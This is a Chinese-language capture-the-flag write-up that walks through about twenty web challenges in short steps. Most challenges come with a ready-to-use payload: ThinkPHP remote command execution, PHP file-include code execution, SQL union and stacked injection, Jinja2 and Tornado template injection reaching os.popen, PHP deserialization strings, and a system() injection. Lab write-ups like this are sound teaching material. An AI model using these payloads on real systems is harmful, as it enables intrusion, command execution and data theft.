來到高手進階區
baby_web
當我們訪問index.php的時候會跳轉到1.php,我們檢查元素,打開網絡,我們在輸入index.php即可看到消息頭有flag
Training-WWW-Robots
打開robots.txt看到flag地址,打開即可
php_rce
這是thinkphp rce漏洞
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
Web_php_include
根據page我們構造語句即可
?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>
?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
ics-06
有個id參數,我們通過爆破即可知道有個2333的id有flag
Warmup
檢查元素中發現有個source.php,訪問下
訪問hint.php
我們通過截取來獲取我們的flag
source.php?file=source.php%253f/../../../../../ffffllllaaaagggg
NewsCenter
這裏搜索語句中有注入點
' union select 1,2,3 #
' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
' and 0 union select 1,2,fl4g from secret_table #
NaNNaNNaNNaN-Batman
下載附件
把eval,換成alert打開即可獲取到javascript代碼
我們看完代碼便知,輸入be0f233ac7be98aa即可獲取flag
PHP2
輸入index.phps看到代碼,當我們輸入id屬性值的時候瀏覽器會進行一次url解碼,然後代碼也進行一次,所以我們編碼兩次即可
/index.php?id=%2561%2564%256d%2569%256e
unserialize3
很明顯是反序列化漏洞,根據code傳遞
/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
upload1
Js驗證,檢查元素把onchange刪除即可
訪問即可
Web_python_template_injection
先判斷是否存在SSTI漏洞
/{{'a'+'x'}}
/{{[].__class__.__base__.__subclasses__()}}
查看所有模塊
/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
查看catch_warnings模塊都存在哪些全局函數
查看flag文件在哪裏
/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
查看flag
/{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
Web_php_unserialize
這是php反序列化漏洞,漏洞點在__wakeup函數中,flag文件已經在註釋中說了
直接構造語句即可
/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
Supersqli
加單引號發現報錯
當我們用union注入發現,被過濾了
嘗試堆疊注入
1';show databases;#
查看數據庫
查看錶
查詢words表中所有列:
1';show columns from words;#
查詢1919810931114514表中所有列
1';show columns from `1919810931114514`;#
我們用rename改表名,改成words
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
最後用1' or 1=1 #得到flag
Easytornado
有三個文件,依次瀏覽下
還有個錯誤的地址
我們已經有flag文件地址了,加上我們flaghash即可獲取flag
/error?msg={{handler.settings}}
獲取cookie_secret
計算filehash值:
代碼塊
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'b8c94c3d-7c77-4255-9da2-314779feb9b0'
print(md5(cookie_secret+md5(filename)))
filehash()
再構造下語句即可
/file?filename=/fllllllllllllag&filehash=02751748b50380f083517be3f1832bb5
Shrine
簡單瀏覽下代碼,對小括號進行了替換,將 ( 和 ) 替換爲空字符串
將 config 和 self 添加進了黑名單
構造語句即可
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
Lottery
查看robots.txt發現.git文件,可以下載源碼文件
這裏的.git文件不能直接git clone 要下載GitHack來下載
漏洞在api.php文件中
因爲php是若語言,所以1和ture相等
我們在buy頁面填了7位數字後抓包
修改成{"action":"buy","numbers":[true,true,true,true,true,true,true]}
多發送幾次後就可以購買flag了
Mfw
發現泄露.git
我們用GitHack下載下來
發現源碼中page可以獲取flag,page參數也沒有進行過濾
所以我們直接構造語句即可
/?page='.system("cat ./templates/flag.php").'
查看源碼就可以看到flag了